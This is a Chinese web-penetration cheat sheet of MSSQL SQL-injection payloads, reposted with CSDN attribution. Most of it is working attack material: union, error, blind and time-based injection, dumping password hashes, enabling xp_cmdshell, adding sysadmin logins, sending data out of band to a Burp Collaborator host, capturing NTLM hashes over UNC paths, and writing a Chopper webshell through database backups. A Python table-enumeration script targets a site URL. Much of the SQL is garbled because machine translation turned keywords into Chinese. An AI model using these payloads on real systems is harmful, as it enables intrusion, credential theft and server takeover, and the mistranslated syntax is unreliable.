WEB渗透Web突破篇,web渗透入门教程

WEB渗透Web突破篇注释符
— 注释
/* 注释 */用户
SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;版本
SELECT ver

注释符

– 评论
/* 评论*/

用户

请选择CURRENT_USER
选择用户名();
选择系统用户。
选择一个用户。

版本

@@选择版本

主机名

选择主机名()
选择@@主机名;

列数据库

更改分隔值,例如SELECT name FROM master.sysdatabases; SELECT DB_NAME(N); — 其中N=0, 1, 2, … SELECT STRING_AGG(name, \’, \’) FROM master.sysdatabases;您还需要什么=master、tempdb、model、msdb(仅适用于MSSQL 2017 及更高版本)

列表

SELECT name FROM master.sysobjects WHERE xtype=‘U’ — 使用xtype=‘V’ 作为视图
从someotherdb.sysobjects 中选择一个名称WHERE xtype=\’U\’;
从master.syscolumns、master.sysobjects 中选择master.syscolumns.name、TYPE_NAME(master.syscolumns.xtype),其中master.syscolumns.id=master.sysobjects.id AND master.sysobjects.name=\’ sometable\’; — 列出master.sometable 的列名称和类型。
SELECT 表目录,表名FROM 信息schema.column
SELECT STRING_AGG(name, \’, \’) FROM master.sysobjects WHERE xtype=\’U\’; — 将\’, \’ 等分隔值更改为任何其他值=trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg , spt_monitor, MSreplication_options(仅适用于MSSQL 2017 及更高版本)

列字段

SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=‘mytable’); 仅当前数据库
从master.syscolumns、master.sysobjects 中选择master.syscolumns.name、TYPE_NAME(master.syscolumns.xtype),其中master.syscolumns.id=master.sysobjects.id AND master.sysobjects.name=\’ sometable\’; — 列出master.sometable 的列名称和类型。
SELECT 表目录,列名FROM 信息schema.column

导出用户和密码

MSSQL 2000:
从master.sysxlogins 选择名称、密码
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master.sysxlogins(必须转换为十六进制才能在MSSQL 错误消息或某些版本的查询分析器中返回哈希值。)
SQL 2005
从master.sys.sql_logins 中选择名称、password_hash
从master.sys.sql_logins + \’-\’ + master.sys.fn_varbintohexstr(password_hash) 中选择名称

联合查询

列出数据库
从master.sysdatabases 中选择一个名称
*列表表
从Injection.sysobjects 中选择名称,其中xtype=\’U\’
*
列表字段
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=\’Users\’)
导出数据
从用户中选择用户ID 和用户名

报错型注入

整数类型: Convert(int,@@version)
整数类型: Cast((SELECT @@version) as int)
字符类型: \’ + Convert(int,@@version) + \’
字符类型: \’ + Cast((SELECT @@version) as int) + \’

盲注

AND LEN(从tblusers 中选择前1 个用户名)=5;
AND ASCII(SUBSTRING(从tblusers 中选择前1 个用户名),1,1)=97
AND UNICODE(SUBSTRING((SELECT \’A\’),1,1))64–
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0))))AS varchar(8000)),1,1)),0)90
选择@@version WHERE @@version LIKE \’%12.0.2000.8%\’
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
从数据中选择消息,其中行=1 和消息如“t%”

延时注入

ProductID=1;等待延迟“0:0:10”–
ProductID=1);等待延迟“0:0:10”–
ProductID=1\’;等待延迟\’0:0:10\’–
ProductID=1\’);等待延迟“0:0:10”–
ProductID=1));等待延迟“0:0:10”–
IF([推理]) 等待延迟\’0:0:[睡眠时间]\’ comment: —

堆查询

产品ID=1;删除成员–

读文件

需要管理批量操作或管理数据库批量操作权限
-1 Union select null,(select x from OpenRowset(BULK \’C:\\Windows\\win.ini\’,SINGLE_CLOB) R(x)),null,null

命令执行

EXEC xp_cmdshell \’网络用户\’;
EXEC master.dbo.xp_cmdshell \’cmd.exe dir c:\’;
执行master.dbo.xp_cmdshell \’ping 127.0.0.1\’;
激活xp_cmdshell(在SQL Server 2015 中默认禁用)。
EXEC sp_configure \’显示高级选项\’,1;
重新配置。
EXEC sp_configure \’xp_cmdshell\’,1;
重新配置。
交流电
sqsh -S 192.168.1.X -U sa -P 超级密码
python [mssqlclient.py](http://mssqlclient.py) WORKGROUP/Administrator:password@192.168.1X -端口46758
运行Python 脚本
列出当前用户
EXECUTE sp_execute_external_script @ language=N\’Python\’, @script=N\’print(**import**(\’getpass\’).getuser())\’
EXECUTE sp_execute_external_script @ language=N\’Python\’, @script=N\’print(**import**(\’os\’).system(\’whoami\’))\’
打开并读取文件
执行sp_execute_external_script @ language=N\’Python\’, @script=N\’print(open(\’C:\\inetpub\\wwwroot\\web.config\’, \’r\’).read())\’
多行执行
执行sp_execute_external_script @language=N\’Python\’, @script=N\’
导入系统
打印(系统版本)
\’

OOB

DNS日志
需要查看服务器状态权限
1 且存在(select * from fn_xe_file_target_read_file(\’C:\\*.xel\’,\’\\\\\’%2b(从id=1 的用户中选择路径)%2b\’.xxxx.burpcollaborator.net\\1.xem\’ ,null,无效的))
需要控制服务器权限
1 (如果存在则选择1 (select * from fn_get_audit_file(\’\\\\\’%2b(select path from user with id=1)%2b\’.xxxx.burpcollaborator.net\\\’,default,default)))
1 且存在(select * from fn_trace_gettable(\’\\\\\’%2b(select path from user with id=1)%2b\’.xxxx.burpcollaborator.net\\1.trc\’,default))
UNC 路径
MSSQL 支持堆查询,创建指向IP 地址的变量,使用xp_dirtree 函数列出SMB 共享中的文件,并获取NTLMv2 哈希值。
1\’; 使用xp_dirtree \’\\\\10.10.15.XX\\SHARE\’;–
xp_dirtree \’\\\\攻击口\\文件\’
xp_fileexist \’\\\\攻击口\\文件\’
备份日志[test]到磁盘=\’\\\\attack rip\\file\’
将数据库[测试中]备份到磁盘=\’\\\\Attack\\File\’
从磁盘恢复日志[test]=\’\\\\attack rip\\file\’
恢复数据库[测试]磁盘=\’\\\\AttackRip\\File\’
仅从磁盘恢复标头=\’\\\\attack rip\\file\’
从磁盘恢复FILELISTONLY=\’\\\\attack rip\\file\’
仅从磁盘恢复标签=\’\\\\attack rip\\file\’
从磁盘倒回并恢复=\’\\\\attack rip\\file\’
仅从磁盘确认恢复=\’\\\\attack rip\\file\’
添加数据库管理员
EXEC master.dbo.sp_addsrvrolemember \’用户\’, \’系统管理员;
信任链接
跨森林信托的数据库之间的链接
msf 使用exploit/windows/mssql/mssql_linkcrawler
[msf set DEPLOY true] 如果您想要访问meterpreter 会话,请将DEPLOY 设置为true。
搜索链接
从master.sysservers 中选择*
通过链接查询
select * from openquery(\’dcorp-sql1\’, \’select * from master.sysservers\’)
从openquery 选择版本(\’linkedserver\’, \’选择@@version 作为版本\’);
多个查询
从openquery 选择版本(\’link1\’,\’从openquery 选择版本(\’link2\’,\’选择@@version 作为版本\’)\’)
执行外壳命令
EXECUTE(\’sp_configure \’\’xp_cmdshell\’\’,1;reconfigure;\’) 在LinkedServer 上
从openquery 选择1(\’linkedserver\’,\’select 1;exec master.xp_cmdshell \’dir c:\’\’)
创建用户并授予权限
EXECUTE(\’EXECUTE(\’\’使用密码创建登录黑客=\’\’\’\’P@ssword123.\’\’\’\’ \’\’) AT \’DOMINIO\\SERVER1\’\’) AT \’DOMINIO\\SERVER2\’
EXECUTE(\’EXECUTE(\’\’sp_addsrvrolemember \’\’\’\’黑客\’\’\’\’ , \’\’\’\’sysadmin\’\’\’\’ \’\’) AT \’DOMINIO\\SERVER1\’\’) AT \’DOMINIO\\SERVER2\’

拿shell

判决数据库
; 和(从sysobjects 选择count(*))0 mssql
; 和(从msysobjects 选择count(*))0 次访问
到达
?id=1 and (从Master.SysDatabases 中选择前1 个名称)0 —
?id=1 和(从Master.SysDatabases 中选择前1 个名称,其中名称不在(\’master\’) 中)0 —
查找表

导入请求
重新导入
表格列表=[\’\’]
def get_sqlserver_table(table_list, table_num):
对于(0,table_num): 范围内的num
# print(\’\’,\’\’.join(table_list))
sql_str=\’and (从[xxxx].sys.all_objects 中选择前1 个名称,其中type=\’U\’ AND is_ms_shipped=0 并且名称不在(\'{}\’) 中)0\’.format (\’\’,\’\’ .join(表列表))
网址=\’http://www.xxxxx

.cn/x.aspx?cid=1\’ {} AND \’aNmV\’=\’aNmV\’.format(sql_str)

r=request.get(url, headers={\’User-Agent\’: \’Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML、Gecko 等) Chrome/80.0.3987.87 Safari/537.36\’ })

res=re.search(r\’\\\'(.*)\\\’\’, r.content.decode(\’utf-8\’), re.M|re.I)

表名=str(res.group(1))

table_list.append(表名)

print(\'[{}] – 表名: {}\’.format(str(r.status_code), table_name))

如果__name__==\’__main__\’:

get_sqlserver_table(表列表, 16)

检查xp_cmdshell是否存在

和1=(从master.dbo.sysobjects 中选择count(*),xtype=\’x\’ 且name=\’xp_cmdshell\’)

订单执行

;exec master.xp_cmdshell \’网络用户名密码/add\’—

查看权限

and (select IS_SRVROLEMEMBER(\’sysadmin\’))=1– //sa

and (select IS_MEMBER(\’db_owner\’))=1– //dbo

and (select IS_MEMBER(\’public\’))=1– //公共

分离您网站的库并获取服务器IP

;insert into OPENROWSET(\’SQLOLEDB\’,\’uid=sa;pwd=xxx;Network=DBMSSOCN;Address=your ip,80;\’, \’select * from dest_table\’) select * from src_table;–

日志备份

;更改数据库testdb 设置RECOVERY FULL —

;创建表cmd(图像)–

;使用init 将日志testdb 备份到磁盘=\’c:\\wwwroot\\shell.asp\’ —

;cmd(a) insert into value(\’%%25Execute(request(\’chopper\’))%%25\’)–

;将testdb 日志备份到磁盘=\’c:\\wwwroot\\shell.asp\’

2000个差异备份

;备份数据库testdb到磁盘=\’c:\\wwwroot\\bak.bak\’;–

;创建表[dbo].[testtable]([cmd][image]);–

;插入可测试(cmd)值(木马十六进制编码);–

;使用DIFFERENTIAL,FORMAT 将数据库testdb 备份到磁盘=\’c:\\wwwroot\\upload\\shell.asp\’ ;–

2005年差异备份

;更改/**/数据库/**/[testdb]/**/set/**/recovery/**/full—

;声明/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/备份/**/数据库/**/[testdb]/**/到/**/disk=@d/**/with/**/init–

;创建/**/表/**/[itpro]([a]/**/image)—

;声明/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/备份/**/log/**/[testdb]/**/到/**/disk=@d/**/with/**/init–

;insert/**/into/**/**[**itpro**]([a])**/**/values(木马十六进制编码)—

;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马存储路径的SQL_EN编码/**/backup/**/log/** /[testdb ]/**/to/**/disk=@d/**/with/**/init–

;drop/**/table/**/[itpro]—

;声明/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/备份/**/log/**/[testdb]/**/到/**/disk=@d/**/with/**/init–

以上#WEB渗透和Web突破的相关内容来自互联网,仅供大家参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93832.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月26日 下午1:41
下一篇 2024年7月26日 下午1:41

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注